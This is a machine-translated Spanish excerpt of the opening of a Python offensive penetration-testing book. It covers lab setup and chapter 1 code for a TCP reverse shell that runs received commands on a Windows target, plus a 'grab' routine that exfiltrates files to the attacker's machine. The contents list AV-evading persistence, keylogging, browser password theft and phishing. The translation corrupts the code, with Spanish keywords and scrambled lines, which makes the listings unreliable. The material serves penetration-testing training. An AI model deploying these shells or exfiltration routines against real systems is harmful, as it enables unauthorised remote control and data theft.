??? ?? ???? ??????? ???????? PDF

Machine Translated by Google
Python para PenTest ofensivo
Una guía práctica para la piratería ética y las pruebas de

penetración con Python
Hussam Khrais
BIRMINGHAM - BOMBAY
Khrais, Hussam. Python para pruebas de penetración ofensivas: una guía práctica para la piratería ética y las pruebas de penetración con Python, Packt Publishing, Limited, 2018.
ProQuest Ebook Central, http://ebookcentral.proquest.com/lib/inflibnet-ebooks/detail.action?docID=5371678.
Creado a partir de inflibnet-ebooks el 2022-01-18 04:29:09.
Colaboradores
Sobre el Autor
Hussam Khrais es ingeniero senior de seguridad, GPEN y CEHHI con más de 7 años de experiencia
en pruebas de penetración, secuencias de comandos de Python y seguridad de redes. Pasa
innumerables horas forjando herramientas de piratería personalizadas en Python. Actualmente posee los
siguientes certificados en seguridad de la información:
Prueba de penetración GIAC (GPEN)

Hacker Ético Certificado (CEH)
Cisco Certified Network Professional - Seguridad (CCNP Security)
Packt está buscando autores como tú

Si está interesado en convertirse en autor de Packt, visite authors.packtpub.com y aplicar hoy. Hemos
trabajado con miles de desarrolladores y profesionales de la tecnología, como usted, para ayudarlos
a compartir sus conocimientos con la comunidad tecnológica mundial. Puede hacer una solicitud
general, postularse para un tema candente específico para el que estamos reclutando un autor o
enviar su propia idea.
Tabla de contenido
Prefacio 1
Capítulo 1: Calentamiento: su primer Shell de persistencia sin antivirus 5

Preparando la máquina atacante 5
Configuración del acceso a Internet 7
Preparación de la máquina de destino 9
Shell inverso de TCP 13
Codificando un shell inverso de TCP 14
Lado del servidor 14
Lado del cliente dieciséis
Exfiltración de datos: TCP 19

Lado del cliente 21
Exportando a EXE 26
Shell inverso HTTP 31
Codificando el shell inverso HTTP 31
Lado del cliente 34
Exfiltración de datos: HTTP 36
Lado del cliente 36
Exportación a EXE 40
Persistencia Hacer que 42
putty.exe sea persistente Hacer un 44
shell inverso HTTP persistente 48
Ajuste de los intentos de conexión 50
Consejos para prevenir una ruptura de la carcasa 53
contramedidas 54
Resumen 55
Capítulo 2: Shell programable avanzado 56
DNS Dinámico 56
Shell compatible con DNS 57
Interactuando con Twitter 59
Analizando un tweet en tres líneas 60
contramedidas 62
Replicando la captura de pantalla de Metasploit 63
Replicando Metasploit buscando contenido 67
Navegación del directorio de destino 70
Integración de escáner de puertos de bajo nivel 72
Tabla de contenido
Resumen 75
Capítulo 3: Hackeo de contraseñas 76

Registrador de teclas sin antivirus 76
Instalación de pyHook y pywin 77
Agregar código al registrador de teclas 77
Secuestro del administrador de contraseñas de KeePass 80
Hombre en el navegador 82
proceso de firefox 83
Conexión de la API de Firefox con Immunity Debugger 84
Python en Firefox prueba de concepto (PoC) 86
Pitón en Firefox EXE 89
Volcar contraseñas guardadas fuera de Google Chrome 90
Adquirir la contraseña de forma remota 91
Envío de la contraseña recuperada a través de una sesión HTTP 95
Prueba del archivo contra antivirus 96
Suplantación de identidad de contraseña: 97
envenenamiento de DNS Uso de secuencias de 100
comandos de Python Suplantación de identidad de 101
contraseña de Facebook Contramedidas Protección de 105
la cuenta en línea Protección de su computadora 105
Protección de su red Vigilancia de cualquier actividad 106
sospechosa Resumen Capítulo 4: ¡Atrápame si 106
puedes! 106
108
109
Eludir los cortafuegos basados en host 109
Secuestro de IE 111
Omitir el filtrado de reputación en los cortafuegos de próxima generación 114
Interactuando con SourceForge 115
Interactuando con Formularios de Google 119
Omitir el filtrado de botnets 122
Omitir IPS con cifrado XOR hecho a mano 123
Resumen 127
Capítulo 5: Diversión miscelánea en Windows 128

Escalada de privilegios: archivo de servicio débil 128
Escalada de privilegios: preparación de software vulnerable 129
Escalada de privilegios: puerta trasera del servicio legítimo de Windows 130
Escalada de privilegios: crear una nueva cuenta de administrador y cubrir
las pistas 134
Resumen 135
Capítulo 6: Abuso de la criptografía por malware 136
[ii]
Tabla de contenido
Introducción a los algoritmos de encriptación 136

Protegiendo su túnel con AES – modo stream 138
Cifrado en modo Cipher Block Chaining (CBC) 139
Cifrado en modo contador (CTR) 139
Protegiendo su túnel con RSA 144
Clave de cifrado híbrido 150
Resumen 154
Otros libros que puede disfrutar 155
Índice 158
[iii]
Prefacio
Python es un lenguaje de programación multiplataforma fácil de aprender que tiene bibliotecas de terceros ilimitadas.
Muchas herramientas de piratería de código abierto están escritas en Python y se pueden integrar fácilmente en su
secuencia de comandos. Este libro está dividido en partes claras del tamaño de un bocado, para que pueda aprender
a su propio ritmo y concentrarse en las áreas que más le interesen. Aprenderá cómo codificar sus propios scripts y
dominar la piratería ética desde cero.
para quien es este libro

Este libro es para hackers éticos; probadores de penetración; estudiantes que se preparan para OSCP, OSCE,
GPEN, GXPN y CEH; profesionales de la seguridad de la información; consultores de seguridad cibernética;
administradores de seguridad de sistemas y redes; y programadores interesados en aprender todo sobre las pruebas
de penetración.
Lo que cubre este libro

Capítulo 1, Calentamiento: su primer Shell de persistencia sin antivirus, prepara nuestro Kali Linux como la máquina
atacante. También prepara un objetivo y brinda una descripción general rápida del shell inverso de TCP, el shell inverso
de HTTP y cómo ensamblarlos.
El Capítulo 2, Advanced Scriptable Shell, cubre la evaluación de DNS dinámico, la interacción con Twitter y el
uso de contramedidas para protegernos de los ataques.
El Capítulo 3, Hackeo de contraseñas, explica el uso de registradores gratuitos de antivirus, el secuestro del
administrador de contraseñas KeePass, el enganche de la API de Firefox y el phishing de contraseñas.
El Capítulo 4, ¡Atrápame si puedes!, explica cómo eludir un esquema de firewall basado en host, secuestrar
Internet Explorer y eludir el filtrado de reputación. También interactuamos con source forge y formularios de Google.
El Capítulo 5, Diversiones divertidas en Windows, se enfoca en explotar software vulnerable en Windows y

diferentes técnicas dentro de la escalada de privilegios. También buscaremos crear puertas traseras y cubrir nuestras
huellas.
El Capítulo 6, Abuso de la criptografía por malware, brinda una introducción rápida a los algoritmos de encriptación,
protege su túnel con AES y RSA y desarrolla claves de encriptación híbrida.
Prefacio
Para aprovechar al máximo este libro

Necesitará comprender Kali Linux y el modelo OSI. Además, el conocimiento básico de las pruebas de penetración y
la piratería ética sería beneficioso.
También necesitará un Kali Linux de 64 bits y una máquina con Windows 7 de 32 bits con Python instalado en
Oracle VirtualBox. Se recomienda un sistema con un mínimo de 8 GB de RAM.
Descargue los archivos de código de ejemplo

Puede descargar los archivos de código de ejemplo para este libro desde su cuenta en
www.packtpub.com. Si compró este libro en otro lugar, puede visitar www.packtpub.com/support y
regístrese para recibir los archivos directamente por correo electrónico.
Puede descargar los archivos de código siguiendo estos pasos:
1. Inicie sesión o regístrese en www.packtpub.com.

2. Seleccione la pestaña SOPORTE .
3. Haga clic en Descargas de códigos y erratas.
4. Introduzca el nombre del libro en el cuadro de búsqueda y siga las instrucciones en pantalla.
instrucciones.
Una vez descargado el archivo, asegúrese de descomprimir o extraer la carpeta con la última versión de:
WinRAR/7-Zip para Windows

Zipeg/iZip/UnRarX para Mac
7-Zip/PeaZip para Linux
El paquete de códigos para el libro también está alojado en GitHub en https://

github.com/PacktPublishing/Python-for-Offensive-PenTest . En caso de que haya una actualización
del código, se actualizará en el repositorio de GitHub existente.
También tenemos otros paquetes de códigos de nuestro rico catálogo de libros y videos disponibles en https://
github.com/PacktPublishing/. ¡Échales un vistazo!
[2]
Prefacio
Descarga las imágenes a color

También proporcionamos un archivo PDF que tiene imágenes en color de las capturas de pantalla/diagramas utilizados en este libro.
Puede descargarlo aquí: https://www.packtpub.com/sites/default/files/downloads/PythonforOffensivePenTest_ColorImages.pdf .
Convenciones utilizadas
Hay una serie de convenciones de texto utilizadas a lo largo de este libro.
CodeInText: indica palabras de código en texto, nombres de tablas de bases de datos, nombres de carpetas,
nombres de archivos, extensiones de archivos, nombres de rutas, direcciones URL ficticias, entrada de usuario y
identificadores de Twitter. Aquí hay un ejemplo: "Ahora, si presta mucha atención al nombre del servicio que crea el
software Photodex, que es ScsiAccess".
Un bloque de código se establece de la siguiente manera:
if 'terminar' en el comando: # Si obtuvimos el comando terminar, informar al cliente y cerrar la conexión y romper el ciclo
conn.send('terminar')
conn.cerrar() romper
Cualquier entrada o salida de la línea de comandos se escribe de la siguiente manera:
apt-get instalar inactivo
Negrita: indica un nuevo término, una palabra importante o palabras que ve en pantalla. Por ejemplo, las palabras en los menús
o cuadros de diálogo aparecen en el texto de esta manera. Aquí hay un ejemplo: "Ir a Configuración avanzada del sistema | Variables
de entorno".
Las advertencias o notas importantes aparecen así.
Los consejos y trucos aparecen así.
[3]
Prefacio
Ponerse en contacto
Los comentarios de nuestros lectores es siempre bienvenido.
Comentarios generales: envíe un correo electrónico a feedback@packtpub.com y mencione el título del libro
en el asunto de su mensaje. Si tiene preguntas sobre cualquier aspecto de este libro, envíenos un correo electrónico
a question@packtpub.com.
Errata: Aunque hemos tomado todas las precauciones para garantizar la precisión de nuestro contenido, los errores
ocurren. Si ha encontrado un error en este libro, le agradeceríamos que nos lo informara. Visite www.packtpub.com/
submit-errata, seleccionando su libro, haciendo clic en el enlace Formulario de envío de erratas e ingresando los
detalles.
Piratería: si encuentra copias ilegales de nuestros trabajos en cualquier forma en Internet, le agradeceríamos que
nos proporcionara la dirección de la ubicación o el nombre del sitio web.
Póngase en contacto con nosotros en copyright@packtpub.com con un enlace al material.
Si está interesado en convertirse en autor: si hay un tema en el que tiene

experiencia y está interesado en escribir o contribuir a un libro, visite
authors.packtpub.com.
Reseñas
Por favor, deje una reseña. Una vez que haya leído y usado este libro, ¿por qué no deja una reseña en el sitio donde
lo compró? Los lectores potenciales pueden ver y usar su opinión imparcial para tomar decisiones de compra,
nosotros en Packt podemos entender lo que piensa sobre nuestros productos y nuestros autores pueden ver sus
comentarios sobre su libro. ¡Gracias!
Para obtener más información sobre Packt, visite packtpub.com.
[4]
Calentamiento: el primero
1
Shell de persistencia sin antivirus
Hoy en día, las soluciones de seguridad como firewalls, IPS y sandboxing son cada vez más avanzadas para
prevenir y detectar ciberataques. Por lo tanto, ser un pirata informático avanzado requiere que codifique su propio
script y herramientas para eludir estas soluciones de seguridad.
En este capítulo se tratarán los siguientes temas:
Preparando la máquina atacante

Preparación de la máquina de destino
Shell inverso de TCP
Shell inverso HTTP
Persistencia
Ajuste de intentos de conexión

Consejos para prevenir una ruptura de la carcasa
contramedidas
Preparando la máquina atacante

En esta sección, prepararemos nuestra máquina Kali Linux como atacante. Tenga en cuenta que asumimos que
el sistema operativo ya está configurado en VMware o VirtualBox. A partir de ahora, utilizaremos VirtualBox para
todos nuestros capítulos.
Calentando: su primer Shell de persistencia sin antivirus Capítulo 1
Podemos verificar la versión de cualquier sistema operativo Linux ejecutando el siguiente comando
cat para mostrar el contenido del archivo /etc/os-release, que contiene datos de distribución del
sistema operativo. Usaremos Kali Linux versión 2018.1, como puede ver en la siguiente captura de
pantalla:
No importa cuál sea tu versión de Kali. Para este libro, utilizaremos la última versión disponible en el
momento de escribir este artículo. Dado que, de forma predeterminada, Python está preinstalado en todas
las distribuciones de Linux, podemos obtener los detalles de la versión desde el shell interactivo ejecutando
el comando python o usando python -V, como se muestra en la siguiente captura de pantalla:
Usaremos Python 2.7.14+ por ahora, que viene preinstalado con nuestro Linux
versión.
Entonces, vamos a hacer networking un poco. En este capítulo, la IP de Kali es 10.0.2.15. Podemos
verificar la IP de Kali ejecutando el comando ifconfig eth0 . Esto devolverá la configuración de la interfaz
de red como se muestra aquí:
[6]
Configuración del acceso a Internet

Para configurar Internet en nuestro sistema, solo necesitamos cambiar el modo de red a Traducción de
direcciones de red (NAT) en VirtualBox. El modo NAT enmascarará toda la actividad de la red como si
viniera de su sistema operativo host, aunque VirtualBox puede acceder a recursos externos. Para hacer
esto, realice los siguientes pasos:
1. Haga clic en el menú Dispositivos de la barra de menú de

VirtualBox 2. Vaya a Red y seleccione Configuración de red 3.
Seleccione el modo de red como NAT y haga clic en Aceptar como se muestra a continuación
captura de pantalla:
[7]
Una vez que realice los pasos anteriores, debería poder conectarse a Internet, siempre que lo
haga el host de VirtualBox. Puede verificar el acceso a Internet ejecutando ping 8.8.8.8 desde la
terminal.
Ahora, si no tiene un compilador GUI para Python, puede instalarlo usando el siguiente comando:
apt-get instalar inactivo
Una vez que esté instalado, hagamos un programa de impresión rápida usando IDLE (usando
Python-2.7), que instalamos usando el comando anterior. Abra un nuevo archivo de Python y
escriba print ('hola'). Ejecute el programa y guárdelo en el escritorio. Una vez que termine de
acceder a Internet, debe volver a cambiar el modo de red a Red interna para que podamos
comunicarnos con nuestro objetivo de Windows. Esto se muestra en la siguiente captura de pantalla:
[8]
Tenga en cuenta que la máquina objetivo global de Windows se encuentra en

la misma red interna que la máquina global del atacante Kali, intnet, aquí.
Y, como último paso, debemos verificar que todavía tenemos la misma dirección IP, que es
10.0.2.15 ejecutando ifconfig en la terminal.
si la IP cambia, puede volver a cambiarla ejecutando ifconfig eth0 10.0.2.15.
Preparación de la máquina de destino

En esta sección, estaremos preparando nuestro objetivo. Estamos utilizando una máquina con Windows
7 de 32 bits como nuestro objetivo. Comenzaremos instalando la versión Python 2.7.14+ desde https://
www.python. org/descargas/. Después de comenzar la instalación, notará que Python instalará otras
herramientas útiles como pip y easy_install. Usaremos pip para instalar bibliotecas de terceros más
adelante.
De manera similar a lo que hemos hecho en Kali, crearemos un script de Python rápido y simple solo
para asegurarnos de que todo funcione bien. Cree un nuevo archivo. Escriba print ("hola"), ejecute el
script y guárdelo en el escritorio. Después de esto, debemos agregar Python a nuestra ruta, para que
podamos iniciar un modo interactivo o un shell interactivo en cualquier lugar desde la línea de comando.
Abra una línea de comando y escriba python; Verá que Windows no reconoce la aplicación python.exe
de forma predeterminada, por lo que debemos agregarla manualmente.
Realice los siguientes pasos para lograrlo:
1. Vaya a Configuración avanzada del sistema | Variables de entorno.

2. En Variables del sistema, desplácese hacia abajo hasta llegar a la ruta de la variable.
Deberá agregar la ruta de Python y la ruta de pip aquí.
3. Copie la ruta donde está instalada la aplicación Python y agréguela a la
Valor variable.
4. Asegúrese de insertar un punto y coma al final, solo para asegurarse de agregar
a nuestro valor Variable existente.
[9]
5. Además, copie la ruta donde está instalado pip desde la carpeta /Scripts y agregue
al valor de la variable como se muestra en la siguiente captura de pantalla:
6. Reiniciamos la máquina para que reconozca los nuevos valores que acabamos de introducir.
[ 10 ]
7. Después de que se complete el reinicio, abra una línea de comando y escriba python y el
Aparecerá el shell interactivo:
8. Ahora, para obtener conectividad con nuestra máquina Kali, asegúrese de que la red
la configuración está establecida en Red interna y el nombre de la red coincide con el
nombre en el lado de Kali, que es intnet:
[ 11 ]
9. Por último, debemos darle a esta máquina una dirección IP en la misma subred que la máquina Kali.
Podemos cambiar la configuración de red yendo a Red e Internet/ Centro de redes y recursos
compartidos desde el panel de control. Haga clic en Conexión de área local y luego haga clic en
Propiedades. Desde allí, vaya a Protocolo de Internet Versión 4 (TCP/IPv4), ingrese la dirección
IP como 10.0.2.10 y el resto como se muestra en la siguiente captura de pantalla. Luego haga clic en
Aceptar:
Hemos instalado el compilador de Python en la máquina de destino solo para tener una mejor
manera de explicar el código y compilarlo. Sin embargo, compilaremos la secuencia de
comandos de Python en un EXE independiente más adelante, por lo que funcionará en
cualquier destino sin tener instalado un compilador de Python.
[ 12 ]
Shell inverso de TCP

En esta sección, tendremos una descripción general rápida de los shells inversos de TCP, por qué necesitamos
una conexión inversa y qué es un shell. La mejor manera de responder a estas preguntas es estudiar la
topología que se muestra en la siguiente figura:
Digamos que tenemos un Atacante conectado en algún lugar de Internet, y en el lado derecho tenemos
nuestro Objetivo. Entonces, técnicamente, tenemos una PC que está completamente parcheada con un
firewall incorporado habilitado, y tenemos el firewall corporativo en su lugar. Y lo más probable es que el
firewall corporativo esté integrado con un módulo IPS o un software antivirus. Entonces, para que el atacante
acceda a esta PC protegida, hay dos problemas principales aquí. Primero, el atacante necesita eludir el firewall
integrado o basado en host en el sistema operativo, que, de forma predeterminada, bloqueará cualquier
conexión entrante a esa PC a menos que esté explícitamente permitido; y la misma regla se aplica también al
cortafuegos corporativo.
Pero, si el atacante de alguna manera pudiera encontrar una manera de enviar un archivo malicioso al usuario,
o tal vez engañar a ese usuario para que visite nuestro sitio web malicioso y descargue un archivo malicioso,
entonces podríamos comprometer esa PC o tal vez toda la red. Entonces, para eludir la restricción raíz del
firewall, debemos hacer que nuestro objetivo, que es el cliente TCP, inicie la conexión de nuevo con nosotros.
Entonces, en este caso, estamos actuando como un servidor TCP, y nuestro objetivo, o nuestra víctima aquí,
está actuando como un cliente TCP y es exactamente por eso que necesitamos un shell inverso.
[ 13 ]
Ahora, necesitamos entender qué es un caparazón en primer lugar. Si podemos iniciar un proceso de
cmd en la máquina de destino y vincular ese proceso a un socket de red, en este caso, se llama shell
inverso. Por lo tanto, cuando decimos que enviamos un shell inverso TCP en el puerto 123 a la máquina de
destino, significa que una vez que la víctima ejecuta el archivo, esperamos recibir una conexión TCP inversa
en el puerto 123. Entonces, el puerto de destino en este caso será el 123, y deberíamos estar escuchando en
este puerto. Entonces este puerto debería estar abierto en nuestra máquina Kali. Luego, después de completar
el protocolo de enlace de tres vías TCP, podemos enviar ciertos comandos a la víctima/objetivo, hacer que la
víctima los ejecute y devolvernos el resultado.
Tenga en cuenta que una combinación de ingeniería social y ataques del lado del
cliente, que discutimos aquí, es el tipo de ataque más poderoso y es muy probable que
tenga éxito.
Codificando un shell inverso de TCP

En esta sección, llamaremos a un servidor TCP de muestra en la máquina Kali y a un cliente TCP de
muestra en la máquina de destino. Luego, veremos cómo ejecutar algunos comandos de forma remota
desde la máquina Kali.
Lado del servidor

Comencemos con el lado del servidor. Construir un servidor TCP en Python es bastante simple:
# Python para el PenTest ofensivo: un curso práctico completo - Todos los derechos reservados # Sígueme
en LinkedIn https://jo.linkedin.com/in/python2
# Servidor TCP básico
importar socket # para construir una conexión TCP
definitivamente conectar():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # iniciar un objeto de socket 's'
s.bind(("10.0.2.15", 8080)) # definir la IP de kali y el puerto de escucha s.listen(1 ) # definir el tamaño de la cartera
de pedidos, ya que estamos esperando un único
conexión de un solo
[ 14 ]
# objetivo nosotros
escuchará una conexión
print '[+] Escuchando la conexión TCP entrante en el puerto 8080' conn, addr = s.accept() # La función
accept() devolverá la conexión
ID de objeto (conn) y devolverá la fuente y la dirección IP del cliente (objetivo)
# puerto en formato de tupla (IP,puerto)
print '[+] Tenemos una conexión de: ', dirección
mientras que es cierto:
command = raw_input("Shell> ") # Obtenga la entrada del usuario y guárdela en la variable de comando
si 'terminar' en el comando: # Si obtuvimos el comando terminar, informar

el cliente y cerrar la conexión y romper el ciclo
conn.send('terminar')
conn.cerrar() romper
else:
conn.send(command) # De lo contrario, enviaremos el comando al
objetivo
imprime conn.recv(1024) # e imprime el resultado que obtuvimos def main(): connect() main()
Como puede ver en el código anterior, el script comienza con la importación de la biblioteca de sockets ,
que es responsable de codificar una interfaz de red de bajo nivel. AF_INIT define la dirección del socket
como un par: el host y el puerto. En este caso, será 10.10.10.100 y el puerto es 8080. SOCK_STREAM
es el modo predeterminado para el tipo de socket. Ahora, la función de enlace especifica la dirección
IP de Kali y el puerto de escucha en un formato de tupla, que es 10.10.10.100, y deberíamos estar
escuchando en el puerto 8080 para recibir una conexión.
Dado que esperamos una sola conexión de un solo objetivo, estaremos atentos a una sola conexión.
Entonces, el tamaño de la acumulación, que especifica el número máximo de conexiones en cola, es
1; y definimos el valor de escucha en 1. Ahora, la función de aceptación devuelve el valor de un par
de objetos de conexión (conn), así como la dirección (addr). La dirección aquí es la dirección IP de
destino y el puerto de origen utilizado desde el destino para iniciar la conexión con nosotros. A
continuación, entraremos en un ciclo infinito y obtendremos nuestra entrada de comando y la
enviaremos a la máquina de destino. Esta entrada sin procesar se utiliza para obtener la entrada del
usuario. Si la entrada del usuario terminó, le informaremos a nuestro objetivo que queremos cerrar la
sesión y luego cerraremos la sesión de nuestro lado. De lo contrario, enviaremos un comando al
destino y leeremos e imprimiremos el primer KB de los datos recibidos desde el lado del destino.
[ 15 ]
Lado del cliente

Ahora, veamos el script del lado del cliente:
# Python para el PenTest ofensivo: un curso práctico completo - Todos los derechos reservados # Sígueme en LinkedIn
https://jo.linkedin.com/in/python2
# Cliente TCP básico
import socket # Para construir una conexión TCP subproceso de

importación # Para iniciar el shell en el sistema
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # iniciar un objeto de socket 's' s.connect(('10.0.2.15', 8080))
# Aquí definimos la IP del atacante y la
puerto de escucha
while True: # sigue recibiendo comandos de la máquina Kali

comando = s.recv(1024) # leer el primer KB del socket tcp si 'terminar' en el comando: # si recibimos la
orden de terminación del
atacante, cierre el socket y rompa el ciclo
s.close()
descanso
else: # de lo contrario, pasamos el comando recibido a un proceso de shell
CMD = subproceso.Popen(comando, shell=Verdadero,
stdout=subproceso.PIPE, stderr=subproceso.PIPE, stdin=subproceso.PIPE)
s.send( CMD.stdout.read() ) # devuelve el resultado s.send( CMD.stderr.read() ) #
devuelve el error -si lo hay-,
como error de sintaxis
def principal ():

conectar ()
principal ()
[ dieciséis ]
Importamos el subproceso para iniciar el shell y el sistema. A continuación, la parte de conexión es

bastante simple. Definimos s y socket object, y especificamos la dirección IP de la máquina Kali y el
puerto en el que debemos iniciar la conexión. El puerto que estamos escuchando en la máquina Kali
debe coincidir exactamente con el puerto desde el que iniciamos la conexión desde la máquina de destino.
Similar al lado del servidor, entraremos en un bucle infinito y obtendremos el comando del atacante. Si el
comando del atacante es terminar, o si hay una palabra clave o cadena de terminación en el comando,
cerramos la conexión y rompemos el ciclo infinito; de lo contrario, usaremos el subproceso para iniciar un
shell en el sistema. Pasaremos el comando que hemos recibido de la máquina atacante al subproceso, y
obtendremos el resultado o el error. Observe que el subproceso tiene una especie de mecanismo propio
para el manejo de excepciones. Por ejemplo, si escribimos mal un determinado comando en el lado de Kali
y enviamos la sintaxis incorrecta al destino, en lugar de bloquear el proceso, stderr maneja la excepción y
devuelve el error.
Probemos rápidamente nuestro script desde el IDE de Python que usamos anteriormente para el programa
hola . Primero ejecute el lado del servidor haciendo clic en Ejecutar y seleccionando Ejecutar módulo.
Solo para verificar que hemos abierto un oyente en el puerto 8080, ejecute el siguiente comando:
netstat-antp | grep "8080"
Como puede ver, python2.7 ha abierto el puerto y estamos escuchando. Ejecute el script de destino en el
otro VirtualBox. Como se muestra en la siguiente captura de pantalla, tenemos diez nuestro shell desde una
dirección IP de 10.0.2.10, que es la dirección IP de nuestra máquina con Windows, y un puerto de origen de
49160:
[ 17 ]
Exploremos un poco la máquina de destino comenzando con ipconfig y dir:
[ 18 ]
Vamos por arp -a. Ahora obtenemos la tabla ARP en la máquina de destino:
Como se muestra en la captura de pantalla anterior, al escribir mal un comando, en lugar de bloquear el
script, el subproceso stderr devuelve el error de sintaxis incorrecto.
Para resumir rápidamente lo que hemos hecho aquí hasta ahora, hemos creado un túnel TCP inverso y
obtuvimos la entrada del usuario utilizando la entrada sin formato. Cuando escribimos arp -a, la entrada sin
procesar obtendrá ese comando y luego lo enviaremos a la máquina de destino. Una vez recibido en el lado
de destino, iniciamos cmd como un subproceso, devolvemos el error o el resultado y lo imprimimos en el
lado de destino.
El shell se bloqueará si presiona Enter un par de veces.
Exfiltración de datos: TCP

En la sección anterior, hemos visto cómo navegar por los directorios de destino. Ahora veremos cómo
capturar estos archivos. Asegúrese de que, antes de obtener cualquier dato de la máquina de destino, las
reglas de participación lo permitan explícitamente.
[ 19 ]
Lado del servidor

Entonces, comencemos con el script del lado del servidor actualizado:
# Servidor de filtración de datos TCP
import socket import

os # Necesario para la operación de archivos
# En la función de transferencia, primero creamos un archivo trivial llamado "test.png" como contenedor de
archivos solo para contener los # bytes recibidos, luego entramos en un ciclo infinito y almacenamos los datos
recibidos en nuestro contenedor llegamos
de archivos
al final
"test.png"
del archivo,
, sin embargo,
romperemos
# si el
el archivo
bucle # solicitado
tenga en cuenta
no existe
queo podríamos
si
saber el final del archivo, si recibimos la etiqueta "DONE" del lado objetivo
# Tenga en cuenta que puede mejorar el código y cambiar dinámicamente test.png a otra extensión de archivo según la
entrada del usuario
def transfer(conn,comando):
conn.send(comando) f = open('/root/
Desktop/test.png','wb')
bits = conn.recv(1024) si 'No se

puede encontrar el archivo' en bits:
print '[-] No se pudo encontrar el archivo' break
si bits.termina con('HECHO'):
print '[+] Transferencia completada ' f.close() break
f.escribir(bits)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("10.0.2.15", 8080))
[ 20 ]
s.listen(1) print
'[+] Escuchando la conexión TCP entrante en el puerto 8080' conn, addr = s.accept() print '[+] Obtuvimos
una conexión de: ', addr
comando = raw_input("Shell> ") si 'terminar' en el

comando:
conn.send('terminar') conn.close()
romper
# si recibimos la palabra clave de captura de la entrada del usuario, entonces este es un indicador para
# operación de transferencia de archivos, por lo que llamaremos a la función de transferencia # Recuerde

que la fórmula es agarrar*<Ruta del archivo> # Ejemplo: agarrar*C:\Users\Hussam\Desktop\photo.jpeg
elif 'agarrar' en comando:

transferir (conexión, comando)
demás:
conn.send(comando) print
conn.recv(1024) def main():
connect() main()
El elif 'agarrar' en el comando: el código indica que este no es un comando normal; este comando se utiliza
para transferir un archivo. Entonces, tanto el servidor como el cliente deben estar de acuerdo en este
indicador o fórmula. Ahora, la fórmula será agarrar seguido de * y la ruta del archivo que queremos agarrar,
por ejemplo, agarrar*C:\Users\Hussam\Desktop\photo.jpeg.
Lado del cliente

Ahora, echemos un vistazo al script del lado del cliente:
# Cliente de filtración de datos TCP
[ 21 ]
importar socket
importar subproceso importar
os # necesario para operaciones de archivo
# En la función de transferencia, primero verificamos si el archivo existe en primer lugar, si no, se lo notificaremos al atacante #
De lo contrario, crearemos un ciclo donde cada vez que iteremos leeremos
1 KB del archivo y lo enviamos, dado que el servidor # no tiene idea

sobre el final del archivo, agregamos una etiqueta llamada 'HECHO' para solucionar este problema, finalmente cerramos el
archivo
def transferencia(s,ruta): si
os.ruta.existe(ruta): f = abrir(ruta, 'rb')
paquete = f.read(1024) while
paquete != '': s.send(paquete)
paquete = f.read(1024)
s.send('HECHO') f.close()
else: # el archivo no existe

s.send('No se pudo encontrar el archivo')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('10.0.2.15', 8080))
comando = s.recv(1024) si 'terminar'

en el comando:
s.close()
descanso
# si recibimos la palabra clave agarrar del atacante, entonces este es un indicador

por
# operación de transferencia de archivos, por lo que dividiremos los comandos recibidos en
dos
# partes, la segunda parte que nos interesa contiene la ruta del archivo, por lo que
lo haremos
# guárdelo en una variable llamada ruta y páselo a la función de transferencia # Recuerde que la fórmula es agarrar*<Ruta
del archivo> # Ejemplo: agarrar*C:\Users\Hussam\Desktop\photo.jpeg
[ 22 ]
elif 'grab' in command: grab,path =

command.split('*') try: # cuando se trata de
transferencias de archivos de bajo nivel, muchas
las cosas pueden salir mal, por lo tanto
# usamos el manejo de excepciones (pruebe
y excepto) para proteger nuestro script de fallas
# en caso de que algo saliera mal,
enviaremos el error que sucedió y pasaremos la excepción
transferencia(s,ruta)
except Exception,e: s.send
( str(e) ) # envía el error de excepción
aprobar
demás:
stdout=subproceso.PIPE, stderr=subproceso.PIPE, stdin=subproceso.PIPE)
s.send( CMD.stdout.read() )
s.send( CMD.stderr.read() )
def principal ():

conectar ()
principal ()
Como se mencionó anteriormente, tanto el cliente como el servidor deben estar de acuerdo con la fórmula de captura .
Entonces, en el lado del cliente, si recibimos una cadena de captura, dividiremos el comando en dos secciones,
la sección antes de * y la sección después de *, donde la segunda sección contiene la ruta y almacenaremos la ruta en
la variable de ruta . Ahora, para asegurarnos de que nuestro script no se bloquee si algo sale mal durante la transferencia,
usaremos el controlador de excepciones.
A continuación, enviamos la variable de ruta a la función de transferencia . Entonces, lo primero que haremos en la
función de transferencia es verificar si el archivo solicitado existe en primer lugar o no. De lo contrario, enviaremos el
mensaje 'No se puede encontrar el archivo' al servidor.
A continuación, leeremos el archivo como piezas o fragmentos, donde cada pieza o cada fragmento tiene un valor de 1
KB, y daremos vueltas hasta llegar al final del archivo. Y cuando lo hacemos, necesitamos enviar un indicador o una
etiqueta al lado del servidor para indicar que hemos llegado al final del archivo. Entonces, la cadena DONE en el bloque
de código anterior indica que hemos llegado al final del archivo.
[ 23 ]
Ahora, en el lado del servidor, creamos un marcador de posición o contenedor de archivos. Almacenaremos los bytes
recibidos en test.png, que es el contenedor del archivo aquí. Cuando el control ingresa al ciclo, y cada vez que leemos 1
KB de datos, se escribe en test.png. Cuando recibe la cadena DONE , significa que hemos llegado al final del archivo.
Entonces, el archivo se cierra y el ciclo termina. Además, si el servidor no puede encontrar el archivo, lo imprimirá y
romperá el bucle.
Ahora, ejecute la secuencia de comandos del servidor nuevamente y estaremos escuchando el puerto 8080. Una vez que
ejecutamos la secuencia de comandos en el lado de destino, obtenemos el shell. A continuación, diríjase al directorio e
intente obtener Module2.pdf ejecutando el comando grab*Module2.pdf :
Cuando escribimos el comando mencionado anteriormente, activará la declaración if tanto en el lado del
cliente como en el lado del servidor. Entonces, en el objetivo cuando recibamos un grab*Module2.pdf,
dividiremos este comando en dos partes. La segunda parte contiene Module2.pdf, que es el archivo que
queremos capturar. Lo almacenaremos en la variable de ruta como se discutió anteriormente. El código
verificará si el archivo existe, lo leerá en fragmentos y lo enviará al lado del servidor. Esto da una respuesta
en el lado del servidor: [+]
Transferencia completada.
[ 24 ]
Busque el archivo en su escritorio, ahora se llama 1.txt , cambie la extensión del archivo a .pdf y cambie
el nombre del archivo, ya que sabemos que no es una imagen, sino solo un marcador de posición.
Ahora, abra Module2.pdf usando cualquier lector de PDF solo para asegurarse de que el archivo no
esté dañado. Se abrirá sin ningún error si no se ha dañado.
Probemos con otro. Ahora, tomaremos Tulips.png:
[ 25 ]
